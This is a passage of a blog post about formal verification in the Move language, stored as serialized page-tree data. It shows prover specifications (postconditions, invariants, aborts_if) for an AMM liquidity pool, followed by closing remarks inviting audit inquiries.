Pool",{"type":21,"tag":85,"props":2419,"children":2420},{"style":114},[2421],{"type":26,"value":148},{"type":21,"tag":85,"props":2423,"children":2424},{"class":87,"line":151},[2425,2430,2435,2439,2444,2448,2452,2456,2460],{"type":21,"tag":85,"props":2426,"children":2427},{"style":102},[2428],{"type":26,"value":2429},"      let",{"type":21,"tag":85,"props":2431,"children":2432},{"style":120},[2433],{"type":26,"value":2434}," share",{"type":21,"tag":85,"props":2436,"children":2437},{"style":169},[2438],{"type":26,"value":1941},{"type":21,"tag":85,"props":2440,"children":2441},{"style":1021},[2442],{"type":26,"value":2443}," add_liquidity",{"type":21,"tag":85,"props":2445,"children":2446},{"style":114},[2447],{"type":26,"value":1439},{"type":21,"tag":85,"props":2449,"children":2450},{"style":120},[2451],{"type":26,"value":2354},{"type":21,"tag":85,"props":2453,"children":2454},{"style":114},[2455],{"type":26,"value":256},{"type":21,"tag":85,"props":2457,"children":2458},{"style":120},[2459],{"type":26,"value":2371},{"type":21,"tag":85,"props":2461,"children":2462},{"style":114},[2463],{"type":26,"value":777},{"type":21,"tag":85,"props":2465,"children":2466},{"class":87,"line":160},[2467,2472,2476,2481],{"type":21,"tag":85,"props":2468,"children":2469},{"style":1021},[2470],{"type":26,"value":2471},"      remove_liquidity",{"type":21,"tag":85,"props":2473,"children":2474},{"style":114},[2475],{"type":26,"value":1439},{"type":21,"tag":85,"props":2477,"children":2478},{"style":120},[2479],{"type":26,"value":2480},"share",{"type":21,"tag":85,"props":2482,"children":2483},{"style":114},[2484],{"type":26,"value":2485},")\n",{"type":21,"tag":85,"props":2487,"children":2488},{"class":87,"line":185},[2489],{"type":21,"tag":85,"props":2490,"children":2491},{"style":114},[2492],{"type":26,"value":191},{"type":21,"tag":85,"props":2494,"children":2495},{"class":87,"line":501},[2496,2501,2505],{"type":21,"tag":85,"props":2497,"children":2498},{"style":120},[2499],{"type":26,"value":2500},"  spec",{"type":21,"tag":85,"props":2502,"children":2503},{"style":120},[2504],{"type":26,"value":2345},{"type":21,"tag":85,"props":2506,"children":2507},{"style":114},[2508],{"type":26,"value":148},{"type":21,"tag":85,"props":2510,"children":2511},{"class":87,"line":697},[2512,2517,2522,2526,2531],{"type":21,"tag":85,"props":2513,"children":2514},{"style":120},[2515],{"type":26,"value":2516},"      pragma",{"type":21,"tag":85,"props":2518,"children":2519},{"style":120},[2520],{"type":26,"value":2521}," verify",{"type":21,"tag":85,"props":2523,"children":2524},{"style":169},[2525],{"type":26,"value":741},{"type":21,"tag":85,"props":2527,"children":2528},{"style":102},[2529],{"type":26,"value":2530},"false",{"type":21,"tag":85,"props":2532,"children":2533},{"style":114},[2534],{"type":26,"value":2535},";\n",{"type":21,"tag":85,"props":2537,"children":2538},{"class":87,"line":706},[2539,2544,2549,2554,2559],{"type":21,"tag":85,"props":2540,"children":2541},{"style":120},[2542],{"type":26,"value":2543},"      ensures",{"type":21,"tag":85,"props":2545,"children":2546},{"style":120},[2547],{"type":26,"value":2548}," result_1",{"type":21,"tag":85,"props":2550,"children":2551},{"style":169},[2552],{"type":26,"value":2553}," \u003C=",{"type":21,"tag":85,"props":2555,"children":2556},{"style":120},[2557],{"type":26,"value":2558}," coin1_in",{"type":21,"tag":85,"props":2560,"children":2561},{"style":114},[2562],{"type":26,"value":2535},{"type":21,"tag":85,"props":2564,"children":2565},{"class":87,"line":1100},[2566,2570,2575,2579,2584],{"type":21,"tag":85,"props":2567,"children":2568},{"style":120},[2569],{"type":26,"value":2543},{"type":21,"tag":85,"props":2571,"children":2572},{"style":120},[2573],{"type":26,"value":2574}," result_2",{"type":21,"tag":85,"props":2576,"children":2577},{"style":169},[2578],{"type":26,"value":2553},{"type":21,"tag":85,"props":2580,"children":2581},{"style":120},[2582],{"type":26,"value":2583}," coin2_in",{"type":21,"tag":85,"props":2585,"children":2586},{"style":114},[2587],{"type":26,"value":2535},{"type":21,"tag":85,"props":2589,"children":2590},{"class":87,"line":1339},[2591],{"type":21,"tag":85,"props":2592,"children":2593},{"style":114},[2594],{"type":26,"value":191},{"type":21,"tag":22,"props":2596,"children":2597},{},[2598],{"type":26,"value":2599},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":21,"tag":22,"props":2601,"children":2602},{},[2603,2605,2610],{"type":26,"value":2604},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":21,"tag":39,"props":2606,"children":2607},{},[2608],{"type":26,"value":2609},"lot",{"type":26,"value":2611}," easier to reason about the protocol.",{"type":21,"tag":22,"props":2613,"children":2614},{},[2615],{"type":26,"value":2616},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":21,"tag":75,"props":2618,"children":2620},{"className":77,"code":2619,"language":79,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[2621],{"type":21,"tag":66,"props":2622,"children":2623},{"__ignoreMap":7},[2624,2641,2664],{"type":21,"tag":85,"props":2625,"children":2626},{"class":87,"line":88},[2627,2632,2637],{"type":21,"tag":85,"props":2628,"children":2629},{"style":120},[2630],{"type":26,"value":2631},"spec",{"type":21,"tag":85,"props":2633,"children":2634},{"style":108},[2635],{"type":26,"value":2636}," PoolState",{"type":21,"tag":85,"props":2638,"children":2639},{"style":114},[2640],{"type":26,"value":148},{"type":21,"tag":85,"props":2642,"children":2643},{"class":87,"line":98},[2644,2649,2654,2659],{"type":21,"tag":85,"props":2645,"children":2646},{"style":120},[2647],{"type":26,"value":2648},"    invariant",{"type":21,"tag":85,"props":2650,"children":2651},{"style":120},[2652],{"type":26,"value":2653}," supply",{"type":21,"tag":85,"props":2655,"children":2656},{"style":169},[2657],{"type":26,"value":2658}," >=",{"type":21,"tag":85,"props":2660,"children":2661},{"style":114},[2662],{"type":26,"value":2663}," MINIMUM_LIQUIDITY;\n",{"type":21,"tag":85,"props":2665,"children":2666},{"class":87,"line":151},[2667],{"type":21,"tag":85,"props":2668,"children":2669},{"style":114},[2670],{"type":26,"value":2671},"}\n",{"type":21,"tag":22,"props":2673,"children":2674},{},[2675,2677,2683,2685,2691],{"type":26,"value":2676},"Another useful pattern for the Move prover is ",{"type":21,"tag":66,"props":2678,"children":2680},{"className":2679},[],[2681],{"type":26,"value":2682},"aborts_if",{"type":26,"value":2684},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":21,"tag":66,"props":2686,"children":2688},{"className":2687},[],[2689],{"type":26,"value":2690},"aborts_if false",{"type":26,"value":73},{"type":21,"tag":22,"props":2693,"children":2694},{},[2695],{"type":26,"value":2696},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":21,"tag":75,"props":2698,"children":2700},{"className":77,"code":2699,"language":79,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[2701],{"type":21,"tag":66,"props":2702,"children":2703},{"__ignoreMap":7},[2704,2768,2810,2835,2880,2894,2906,2945,2968,3061,3069,3094,3102,3123,3143,3244,3253,3284,3293,3306,3331,3367,3375,3384,3392,3408,3425,3443,3488,3594],{"type":21,"tag":85,"props":2705,"children":2706},{"class":87,"line":88},[2707,2711,2716,2720,2725,2729,2734,2738,2742,2747,2751,2755,2759,2764],{"type":21,"tag":85,"props":2708,"children":2709},{"style":120},[2710],{"type":26,"value":905},{"type":21,"tag":85,"props":2712,"children":2713},{"style":1021},[2714],{"type":26,"value":2715}," multiply_vec_by_n_coins",{"type":21,"tag":85,"props":2717,"children":2718},{"style":114},[2719],{"type":26,"value":1439},{"type":21,"tag":85,"props":2721,"children":2722},{"style":120},[2723],{"type":26,"value":2724},"input",{"type":21,"tag":85,"props":2726,"children":2727},{"style":169},[2728],{"type":26,"value":172},{"type":21,"tag":85,"props":2730,"children":2731},{"style":120},[2732],{"type":26,"value":2733}," vector",{"type":21,"tag":85,"props":2735,"children":2736},{"style":114},[2737],{"type":26,"value":117},{"type":21,"tag":85,"props":2739,"children":2740},{"style":108},[2741],{"type":26,"value":2396},{"type":21,"tag":85,"props":2743,"children":2744},{"style":114},[2745],{"type":26,"value":2746},">)",{"type":21,"tag":85,"props":2748,"children":2749},{"style":169},[2750],{"type":26,"value":172},{"type":21,"tag":85,"props":2752,"children":2753},{"style":120},[2754],{"type":26,"value":2733},{"type":21,"tag":85,"props":2756,"children":2757},{"style":114},[2758],{"type":26,"value":117},{"type":21,"tag":85,"props":2760,"children":2761},{"style":108},[2762],{"type":26,"value":2763},"u128",{"type":21,"tag":85,"props":2765,"children":2766},{"style":114},[2767],{"type":26,"value":1627},{"type":21,"tag":85,"props":2769,"children":2770},{"class":87,"line":98},[2771,2775,2780,2784,2788,2792,2797,2801,2805],{"type":21,"tag":85,"props":2772,"children":2773},{"style":102},[2774],{"type":26,"value":2429},{"type":21,"tag":85,"props":2776,"children":2777},{"style":120},[2778],{"type":26,"value":2779}," amounts_times_coins",{"type":21,"tag":85,"props":2781,"children":2782},{"style":169},[2783],{"type":26,"value":1941},{"type":21,"tag":85,"props":2785,"children":2786},{"style":114},[2787],{"type":26,"value":2733},{"type":21,"tag":85,"props":2789,"children":2790},{"style":169},[2791],{"type":26,"value":1087},{"type":21,"tag":85,"props":2793,"children":2794},{"style":120},[2795],{"type":26,"value":2796},"empty",{"type":21,"tag":85,"props":2798,"children":2799},{"style":114},[2800],{"type":26,"value":117},{"type":21,"tag":85,"props":2802,"children":2803},{"style":108},[2804],{"type":26,"value":2763},{"type":21,"tag":85,"props":2806,"children":2807},{"style":114},[2808],{"type":26,"value":2809},">();\n",{"type":21,"tag":85,"props":2811,"children":2812},{"class":87,"line":151},[2813,2817,2822,2826,2831],{"type":21,"tag":85,"props":2814,"children":2815},{"style":102},[2816],{"type":26,"value":2429},{"type":21,"tag":85,"props":2818,"children":2819},{"style":120},[2820],{"type":26,"value":2821}," i",{"type":21,"tag":85,"props":2823,"children":2824},{"style":169},[2825],{"type":26,"value":1941},{"type":21,"tag":85,"props":2827,"children":2828},{"style":2285},[2829],{"type":26,"value":2830}," 0",{"type":21,"tag":85,"props":2832,"children":2833},{"style":114},[2834],{"type":26,"value":2535},{"type":21,"tag":85,"props":2836,"children":2837},{"class":87,"line":160},[2838,2842,2847,2851,2855,2859,2864,2868,2872,2876],{"type":21,"tag":85,"props":2839,"children":2840},{"style":102},[2841],{"type":26,"value":2429},{"type":21,"tag":85,"props":2843,"children":2844},{"style":120},[2845],{"type":26,"value":2846}," n_coins",{"type":21,"tag":85,"props":2848,"children":2849},{"style":169},[2850],{"type":26,"value":1941},{"type":21,"tag":85,"props":2852,"children":2853},{"style":114},[2854],{"type":26,"value":2733},{"type":21,"tag":85,"props":2856,"children":2857},{"style":169},[2858],{"type":26,"value":1087},{"type":21,"tag":85,"props":2860,"children":2861},{"style":1021},[2862],{"type":26,"value":2863},"length",{"type":21,"tag":85,"props":2865,"children":2866},{"style":114},[2867],{"type":26,"value":1439},{"type":21,"tag":85,"props":2869,"children":2870},{"style":169},[2871],{"type":26,"value":2238},{"type":21,"tag":85,"props":2873,"children":2874},{"style":120},[2875],{"type":26,"value":2724},{"type":21,"tag":85,"props":2877,"children":2878},{"style":114},[2879],{"type":26,"value":777},{"type":21,"tag":85,"props":2881,"children":2882},{"class":87,"line":185},[2883,2889],{"type":21,"tag":85,"props":2884,"children":2886},{"style":2885},"--shiki-default:#C586C0",[2887],{"type":26,"value":2888},"      while",{"type":21,"tag":85,"props":2890,"children":2891},{"style":114},[2892],{"type":26,"value":2893}," ({\n",{"type":21,"tag":85,"props":2895,"children":2896},{"class":87,"line":501},[2897,2902],{"type":21,"tag":85,"props":2898,"children":2899},{"style":120},[2900],{"type":26,"value":2901},"          spec",{"type":21,"tag":85,"props":2903,"children":2904},{"style":114},[2905],{"type":26,"value":148},{"type":21,"tag":85,"props":2907,"children":2908},{"class":87,"line":697},[2909,2914,2919,2923,2928,2932,2937,2941],{"type":21,"tag":85,"props":2910,"children":2911},{"style":120},[2912],{"type":26,"value":2913},"              invariant",{"type":21,"tag":85,"props":2915,"children":2916},{"style":1021},[2917],{"type":26,"value":2918}," len",{"type":21,"tag":85,"props":2920,"children":2921},{"style":114},[2922],{"type":26,"value":1439},{"type":21,"tag":85,"props":2924,"children":2925},{"style":120},[2926],{"type":26,"value":2927},"amounts_times_coins",{"type":21,"tag":85,"props":2929,"children":2930},{"style":114},[2931],{"type":26,"value":736},{"type":21,"tag":85,"props":2933,"children":2934},{"style":169},[2935],{"type":26,"value":2936},"==",{"type":21,"tag":85,"props":2938,"children":2939},{"style":120},[2940],{"type":26,"value":2821},{"type":21,"tag":85,"props":2942,"children":2943},{"style":114},[2944],{"type":26,"value":2535},{"type":21,"tag":85,"props":2946,"children":2947},{"class":87,"line":706},[2948,2952,2956,2960,2964],{"type":21,"tag":85,"props":2949,"children":2950},{"style":120},[2951],{"type":26,"value":2913},{"type":21,"tag":85,"props":2953,"children":2954},{"style":120},[2955],{"type":26,"value":2821},{"type":21,"tag":85,"props":2957,"children":2958},{"style":169},[2959],{"type":26,"value":2553},{"type":21,"tag":85,"props":2961,"children":2962},{"style":120},[2963],{"type":26,"value":2846},{"type":21,"tag":85,"props":2965,"children":2966},{"style":114},[2967],{"type":26,"value":2535},{"type":21,"tag":85,"props":2969,"children":2970},{"class":87,"line":1100},[2971,2975,2980,2985,2990,2994,2999,3004,3008,3012,3017,3022,3027,3031,3036,3040,3044,3048,3053,3057],{"type":21,"tag":85,"props":2972,"children":2973},{"style":120},[2974],{"type":26,"value":2913},{"type":21,"tag":85,"props":2976,"children":2977},{"style":120},[2978],{"type":26,"value":2979}," forall",{"type":21,"tag":85,"props":2981,"children":2982},{"style":120},[2983],{"type":26,"value":2984}," j",{"type":21,"tag":85,"props":2986,"children":2987},{"style":102},[2988],{"type":26,"value":2989}," in",{"type":21,"tag":85,"props":2991,"children":2992},{"style":2285},[2993],{"type":26,"value":2830},{"type":21,"tag":85,"props":2995,"children":2996},{"style":169},[2997],{"type":26,"value":2998},"..",{"type":21,"tag":85,"props":3000,"children":3001},{"style":120},[3002],{"type":26,"value":3003},"i",{"type":21,"tag":85,"props":3005,"children":3006},{"style":169},[3007],{"type":26,"value":172},{"type":21,"tag":85,"props":3009,"children":3010},{"style":120},[3011],{"type":26,"value":2779},{"type":21,"tag":85,"props":3013,"children":3014},{"style":114},[3015],{"type":26,"value":3016},"[",{"type":21,"tag":85,"props":3018,"children":3019},{"style":120},[3020],{"type":26,"value":3021},"j",{"type":21,"tag":85,"props":3023,"children":3024},{"style":114},[3025],{"type":26,"value":3026},"] ",{"type":21,"tag":85,"props":3028,"children":3029},{"style":169},[3030],{"type":26,"value":2936},{"type":21,"tag":85,"props":3032,"children":3033},{"style":120},[3034],{"type":26,"value":3035}," input",{"type":21,"tag":85,"props":3037,"children":3038},{"style":114},[3039],{"type":26,"value":3016},{"type":21,"tag":85,"props":3041,"children":3042},{"style":120},[3043],{"type":26,"value":3021},{"type":21,"tag":85,"props":3045,"children":3046},{"style":114},[3047],{"type":26,"value":3026},{"type":21,"tag":85,"props":3049,"children":3050},{"style":169},[3051],{"type":26,"value":3052},"*",{"type":21,"tag":85,"props":3054,"children":3055},{"style":120},[3056],{"type":26,"value":2846},{"type":21,"tag":85,"props":3058,"children":3059},{"style":114},[3060],{"type":26,"value":2535},{"type":21,"tag":85,"props":3062,"children":3063},{"class":87,"line":1339},[3064],{"type":21,"tag":85,"props":3065,"children":3066},{"style":114},[3067],{"type":26,"value":3068},"          };\n",{"type":21,"tag":85,"props":3070,"children":3071},{"class":87,"line":1348},[3072,3077,3081,3086,3090],{"type":21,"tag":85,"props":3073,"children":3074},{"style":114},[3075],{"type":26,"value":3076},"          (",{"type":21,"tag":85,"props":3078,"children":3079},{"style":120},[3080],{"type":26,"value":3003},{"type":21,"tag":85,"props":3082,"children":3083},{"style":169},[3084],{"type":26,"value":3085}," \u003C",{"type":21,"tag":85,"props":3087,"children":3088},{"style":120},[3089],{"type":26,"value":2846},{"type":21,"tag":85,"props":3091,"children":3092},{"style":114},[3093],{"type":26,"value":2485},{"type":21,"tag":85,"props":3095,"children":3096},{"class":87,"line":1386},[3097],{"type":21,"tag":85,"props":3098,"children":3099},{"style":114},[3100],{"type":26,"value":3101},"      }) {\n",{"type":21,"tag":85,"props":3103,"children":3104},{"class":87,"line":1394},[3105,3110,3114,3119],{"type":21,"tag":85,"props":3106,"children":3107},{"style":114},[3108],{"type":26,"value":3109},"          vector",{"type":21,"tag":85,"props":3111,"children":3112},{"style":169},[3113],{"type":26,"value":1087},{"type":21,"tag":85,"props":3115,"children":3116},{"style":1021},[3117],{"type":26,"value":3118},"push_back",{"type":21,"tag":85,"props":3120,"children":3121},{"style":114},[3122],{"type":26,"value":1029},{"type":21,"tag":85,"props":3124,"children":3125},{"class":87,"line":1402},[3126,3131,3135,3139],{"type":21,"tag":85,"props":3127,"children":3128},{"style":169},[3129],{"type":26,"value":3130},"              &",{"type":21,"tag":85,"props":3132,"children":3133},{"style":102},[3134],{"type":26,"value":2039},{"type":21,"tag":85,"props":3136,"children":3137},{"style":120},[3138],{"type":26,"value":2779},{"type":21,"tag":85,"props":3140,"children":3141},{"style":114},[3142],{"type":26,"value":182},{"type":21,"tag":85,"props":3144,"children":3146},{"class":87,"line":3145},15,[3147,3152,3156,3161,3165,3170,3174,3178,3182,3187,3191,3196,3200,3205,3210,3215,3219,3223,3227,3232,3236,3240],{"type":21,"tag":85,"props":3148,"children":3149},{"style":114},[3150],{"type":26,"value":3151},"              (",{"type":21,"tag":85,"props":3153,"children":3154},{"style":169},[3155],{"type":26,"value":3052},{"type":21,"tag":85,"props":3157,"children":3158},{"style":114},[3159],{"type":26,"value":3160},"vector",{"type":21,"tag":85,"props":3162,"children":3163},{"style":169},[3164],{"type":26,"value":1087},{"type":21,"tag":85,"props":3166,"children":3167},{"style":1021},[3168],{"type":26,"value":3169},"borrow",{"type":21,"tag":85,"props":3171,"children":3172},{"style":114},[3173],{"type":26,"value":1439},{"type":21,"tag":85,"props":3175,"children":3176},{"style":169},[3177],{"type":26,"value":2238},{"type":21,"tag":85,"props":3179,"children":3180},{"style":120},[3181],{"type":26,"value":2724},{"type":21,"tag":85,"props":3183,"children":3184},{"style":114},[3185],{"type":26,"value":3186},", (",{"type":21,"tag":85,"props":3188,"children":3189},{"style":120},[3190],{"type":26,"value":3003},{"type":21,"tag":85,"props":3192,"children":3193},{"style":102},[3194],{"type":26,"value":3195}," as",{"type":21,"tag":85,"props":3197,"children":3198},{"style":108},[3199],{"type":26,"value":177},{"type":21,"tag":85,"props":3201,"children":3202},{"style":114},[3203],{"type":26,"value":3204},")) ",{"type":21,"tag":85,"props":3206,"children":3207},{"style":102},[3208],{"type":26,"value":3209},"as",{"type":21,"tag":85,"props":3211,"children":3212},{"style":108},[3213],{"type":26,"value":3214}," u128",{"type":21,"tag":85,"props":3216,"children":3217},{"style":114},[3218],{"type":26,"value":736},{"type":21,"tag":85,"props":3220,"children":3221},{"style":169},[3222],{"type":26,"value":3052},{"type":21,"tag":85,"props":3224,"children":3225},{"style":114},[3226],{"type":26,"value":717},{"type":21,"tag":85,"props":3228,"children":3229},{"style":120},[3230],{"type":26,"value":3231},"n_coins",{"type":21,"tag":85,"props":3233,"children":3234},{"style":102},[3235],{"type":26,"value":3195},{"type":21,"tag":85,"props":3237,"children":3238},{"style":108},[3239],{"type":26,"value":3214},{"type":21,"tag":85,"props":3241,"children":3242},{"style":114},[3243],{"type":26,"value":2485},{"type":21,"tag":85,"props":3245,"children":3247},{"class":87,"line":3246},16,[3248],{"type":21,"tag":85,"props":3249,"children":3250},{"style":114},[3251],{"type":26,"value":3252},"          );\n",{"type":21,"tag":85,"props":3254,"children":3256},{"class":87,"line":3255},17,[3257,3262,3266,3270,3275,3280],{"type":21,"tag":85,"props":3258,"children":3259},{"style":120},[3260],{"type":26,"value":3261},"          i",{"type":21,"tag":85,"props":3263,"children":3264},{"style":169},[3265],{"type":26,"value":1941},{"type":21,"tag":85,"props":3267,"children":3268},{"style":120},[3269],{"type":26,"value":2821},{"type":21,"tag":85,"props":3271,"children":3272},{"style":169},[3273],{"type":26,"value":3274}," +",{"type":21,"tag":85,"props":3276,"children":3277},{"style":2285},[3278],{"type":26,"value":3279}," 1",{"type":21,"tag":85,"props":3281,"children":3282},{"style":114},[3283],{"type":26,"value":2535},{"type":21,"tag":85,"props":3285,"children":3287},{"class":87,"line":3286},18,[3288],{"type":21,"tag":85,"props":3289,"children":3290},{"style":114},[3291],{"type":26,"value":3292},"      };\n",{"type":21,"tag":85,"props":3294,"children":3296},{"class":87,"line":3295},19,[3297,3302],{"type":21,"tag":85,"props":3298,"children":3299},{"style":120},[3300],{"type":26,"value":3301},"      spec",{"type":21,"tag":85,"props":3303,"children":3304},{"style":114},[3305],{"type":26,"value":148},{"type":21,"tag":85,"props":3307,"children":3309},{"class":87,"line":3308},20,[3310,3315,3319,3323,3327],{"type":21,"tag":85,"props":3311,"children":3312},{"style":120},[3313],{"type":26,"value":3314},"          assert",{"type":21,"tag":85,"props":3316,"children":3317},{"style":120},[3318],{"type":26,"value":2821},{"type":21,"tag":85,"props":3320,"children":3321},{"style":169},[3322],{"type":26,"value":2282},{"type":21,"tag":85,"props":3324,"children":3325},{"style":120},[3326],{"type":26,"value":2846},{"type":21,"tag":85,"props":3328,"children":3329},{"style":114},[3330],{"type":26,"value":2535},{"type":21,"tag":85,"props":3332,"children":3334},{"class":87,"line":3333},21,[3335,3339,3343,3347,3351,3355,3359,3363],{"type":21,"tag":85,"props":3336,"children":3337},{"style":120},[3338],{"type":26,"value":3314},{"type":21,"tag":85,"props":3340,"children":3341},{"style":1021},[3342],{"type":26,"value":2918},{"type":21,"tag":85,"props":3344,"children":3345},{"style":114},[3346],{"type":26,"value":1439},{"type":21,"tag":85,"props":3348,"children":3349},{"style":120},[3350],{"type":26,"value":2724},{"type":21,"tag":85,"props":3352,"children":3353},{"style":114},[3354],{"type":26,"value":736},{"type":21,"tag":85,"props":3356,"children":3357},{"style":169},[3358],{"type":26,"value":2936},{"type":21,"tag":85,"props":3360,"children":3361},{"style":120},[3362],{"type":26,"value":2846},{"type":21,"tag":85,"props":3364,"children":3365},{"style":114},[3366],{"type":26,"value":2535},{"type":21,"tag":85,"props":3368,"children":3370},{"class":87,"line":3369},22,[3371],{"type":21,"tag":85,"props":3372,"children":3373},{"style":114},[3374],{"type":26,"value":3292},{"type":21,"tag":85,"props":3376,"children":3378},{"class":87,"line":3377},23,[3379],{"type":21,"tag":85,"props":3380,"children":3381},{"style":120},[3382],{"type":26,"value":3383},"      amounts_times_coins\n",{"type":21,"tag":85,"props":3385,"children":3387},{"class":87,"line":3386},24,[3388],{"type":21,"tag":85,"props":3389,"children":3390},{"style":114},[3391],{"type":26,"value":191},{"type":21,"tag":85,"props":3393,"children":3395},{"class":87,"line":3394},25,[3396,3400,3404],{"type":21,"tag":85,"props":3397,"children":3398},{"style":120},[3399],{"type":26,"value":2500},{"type":21,"tag":85,"props":3401,"children":3402},{"style":120},[3403],{"type":26,"value":2715},{"type":21,"tag":85,"props":3405,"children":3406},{"style":114},[3407],{"type":26,"value":148},{"type":21,"tag":85,"props":3409,"children":3411},{"class":87,"line":3410},26,[3412,3416,3421],{"type":21,"tag":85,"props":3413,"children":3414},{"style":120},[3415],{"type":26,"value":2516},{"type":21,"tag":85,"props":3417,"children":3418},{"style":120},[3419],{"type":26,"value":3420}," opaque",{"type":21,"tag":85,"props":3422,"children":3423},{"style":114},[3424],{"type":26,"value":2535},{"type":21,"tag":85,"props":3426,"children":3428},{"class":87,"line":3427},27,[3429,3434,3439],{"type":21,"tag":85,"props":3430,"children":3431},{"style":120},[3432],{"type":26,"value":3433},"      aborts_if",{"type":21,"tag":85,"props":3435,"children":3436},{"style":102},[3437],{"type":26,"value":3438}," false",{"type":21,"tag":85,"props":3440,"children":3441},{"style":114},[3442],{"type":26,"value":2535},{"type":21,"tag":85,"props":3444,"children":3446},{"class":87,"line":3445},28,[3447,3451,3455,3459,3464,3468,3472,3476,3480,3484],{"type":21,"tag":85,"props":3448,"children":3449},{"style":120},[3450],{"type":26,"value":2543},{"type":21,"tag":85,"props":3452,"children":3453},{"style":1021},[3454],{"type":26,"value":2918},{"type":21,"tag":85,"props":3456,"children":3457},{"style":114},[3458],{"type":26,"value":1439},{"type":21,"tag":85,"props":3460,"children":3461},{"style":120},[3462],{"type":26,"value":3463},"result",{"type":21,"tag":85,"props":3465,"children":3466},{"style":114},[3467],{"type":26,"value":736},{"type":21,"tag":85,"props":3469,"children":3470},{"style":169},[3471],{"type":26,"value":2936},{"type":21,"tag":85,"props":3473,"children":3474},{"style":1021},[3475],{"type":26,"value":2918},{"type":21,"tag":85,"props":3477,"children":3478},{"style":114},[3479],{"type":26,"value":1439},{"type":21,"tag":85,"props":3481,"children":3482},{"style":120},[3483],{"type":26,"value":2724},{"type":21,"tag":85,"props":3485,"children":3486},{"style":114},[3487],{"type":26,"value":777},{"type":21,"tag":85,"props":3489,"children":3491},{"class":87,"line":3490},29,[3492,3496,3500,3504,3508,3512,3516,3521,3525,3529,3533,3537,3542,3546,3550,3554,3558,3562,3566,3570,3574,3578,3582,3586,3590],{"type":21,"tag":85,"props":3493,"children":3494},{"style":120},[3495],{"type":26,"value":2543},{"type":21,"tag":85,"props":3497,"children":3498},{"style":120},[3499],{"type":26,"value":2979},{"type":21,"tag":85,"props":3501,"children":3502},{"style":120},[3503],{"type":26,"value":2984},{"type":21,"tag":85,"props":3505,"children":3506},{"style":102},[3507],{"type":26,"value":2989},{"type":21,"tag":85,"props":3509,"children":3510},{"style":2285},[3511],{"type":26,"value":2830},{"type":21,"tag":85,"props":3513,"children":3514},{"style":169},[3515],{"type":26,"value":2998},{"type":21,"tag":85,"props":3517,"children":3518},{"style":1021},[3519],{"type":26,"value":3520},"len",{"type":21,"tag":85,"props":3522,"children":3523},{"style":114},[3524],{"type":26,"value":1439},{"type":21,"tag":85,"props":3526,"children":3527},{"style":120},[3528],{"type":26,"value":2724},{"type":21,"tag":85,"props":3530,"children":3531},{"style":114},[3532],{"type":26,"value":1900},{"type":21,"tag":85,"props":3534,"children":3535},{"style":169},[3536],{"type":26,"value":172},{"type":21,"tag":85,"props":3538,"children":3539},{"style":120},[3540],{"type":26,"value":3541}," result",{"type":21,"tag":85,"props":3543,"children":3544},{"style":114},[3545],{"type":26,"value":3016},{"type":21,"tag":85,"props":3547,"children":3548},{"style":120},[3549],{"type":26,"value":3021},{"type":21,"tag":85,"props":3551,"children":3552},{"style":114},[3553],{"type":26,"value":3026},{"type":21,"tag":85,"props":3555,"children":3556},{"style":169},[3557],{"type":26,"value":2936},{"type":21,"tag":85,"props":3559,"children":3560},{"style":120},[3561],{"type":26,"value":3035},{"type":21,"tag":85,"props":3563,"children":3564},{"style":114},[3565],{"type":26,"value":3016},{"type":21,"tag":85,"props":3567,"children":3568},{"style":120},[3569],{"type":26,"value":3021},{"type":21,"tag":85,"props":3571,"children":3572},{"style":114},[3573],{"type":26,"value":3026},{"type":21,"tag":85,"props":3575,"children":3576},{"style":169},[3577],{"type":26,"value":3052},{"type":21,"tag":85,"props":3579,"children":3580},{"style":1021},[3581],{"type":26,"value":2918},{"type":21,"tag":85,"props":3583,"children":3584},{"style":114},[3585],{"type":26,"value":1439},{"type":21,"tag":85,"props":3587,"children":3588},{"style":120},[3589],{"type":26,"value":2724},{"type":21,"tag":85,"props":3591,"children":3592},{"style":114},[3593],{"type":26,"value":777},{"type":21,"tag":85,"props":3595,"children":3597},{"class":87,"line":3596},30,[3598],{"type":21,"tag":85,"props":3599,"children":3600},{"style":114},[3601],{"type":26,"value":191},{"type":21,"tag":54,"props":3603,"children":3605},{"id":3604},"closing-thoughts",[3606],{"type":26,"value":3607},"Closing Thoughts",{"type":21,"tag":22,"props":3609,"children":3610},{},[3611],{"type":26,"value":3612},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":21,"tag":22,"props":3614,"children":3615},{},[3616],{"type":26,"value":3617},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":21,"tag":22,"props":3619,"children":3620},{},[3621,3623,3630],{"type":26,"value":3622},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":21,"tag":335,"props":3624,"children":3627},{"href":3625,"rel":3626},"https://twitter.com/notdeghost/",[339],[3628],{"type":26,"value":3629},"@notdeghost",{"type":26,"value":73},{"type":21,"tag":3632,"props":3633,"children":3634},"style",{},[3635],{"type":26,"value":3636},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: 